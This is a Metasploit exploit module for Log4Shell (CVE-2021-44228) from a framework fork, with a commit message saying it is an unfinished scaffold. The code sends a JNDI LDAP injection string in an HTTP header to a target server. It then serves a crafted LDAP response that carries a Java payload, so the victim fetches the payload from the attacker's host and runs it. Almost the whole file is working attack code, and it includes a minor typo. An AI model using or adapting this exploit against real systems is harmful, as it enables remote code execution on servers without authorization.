Files
metasploit-gs/modules/exploits/multi/http/log4shell_header_injection.rb
T
RageLtMan 074120a2d3 Scaffold HTTP Header Injection Exploit
Using the infrastructure developped for use in the log4shell HTTP
scanner, implement a basic HTTP exploit module which performs the
same action as the scanner does per-host on a specific target; but
instead of logging the vulnerability, return a crafted LDAP search
response containing the payload encoded within the search response.

The crux of this effort lies in payload generation, specifically in
crafting the legal LDAP response packet out of the request data and
generated JAR-format payload. The payload selection is based on an
offline discussion with @Mihi during which he indicated JNDI's
ability to load JARs in the same way as raw Java classes. This
assumption/interpretation on my part may be incorrect.

At present, the delivered LDAP search response appears to be valid
in WireShark, and the vulnerable test docker is showing internal
values in its console output a la:
```
Received a request for API version com.sun.jndi.ldap.LdapCtx@3575a
```
which shows that it is processing the response on its end, just
not in the way we would prefer, yet.

This may be a result of how the MSF payload is being shuffled and
mutated by the packet construction method, or a mistake in the way
i pass in the queried base DN or execute the LDAP search response
transaction.

Testing: fails currently for aforementioned reason

TODO:
  figure out how to encode the payload/LDAP response correctly
  continue testing until verified and upstreamed
2021-12-29 09:10:07 -05:00

129 lines
4.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::LDAP::Server
def initialize
super(
'Name' => 'Log4Shell HTTP Header Injection',
'Description' => %q{
Send vulnerable header with JNDI injected URL from which the JVM will acquire
and execute attacker controlled data.
},
'Author' => [
'RageLtMan <rageltman[at]sempervictus>'
],
'References' => [
[ 'CVE', '2021-44228' ],
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVPORT' => 389
},
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
'Targets' => [
['Automatic', {}]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
OptString.new('HTTP_HEADER', [ true, 'The header to inject', 'X-Api-Version']),
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]),
])
end
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
end
#
# Generate and serialize the payload as an LDAP search respnse
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def serialized_payload(msg_id, base_dn)
jar = generate_payload.encoded_jar
jclass = Rex::Text.to_octal(jar.entries[2].data) # extract class file - this is gross, need better accessor/raw generator for this
jclass.extend(Net::BER::Extensions::String)
pay = jclass.chars.map(&:to_ber).to_ber_set
attrk = Rex::Text.rand_text_alpha_lower(4).to_ber
# TODO: resolve payload encoding as this is currently not triggering on delivery
attrs = [ [ attrk, pay ].to_ber_sequence ]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
def exploit
start_service
send_request_raw(
'uri' => normalize_uri(target_uri),
'method' => datastore['HTTP_METHOD'],
'headers' => { datastore['HTTP_HEADER'] => jndi_string }
)
handler
ensure
stop_service
end
end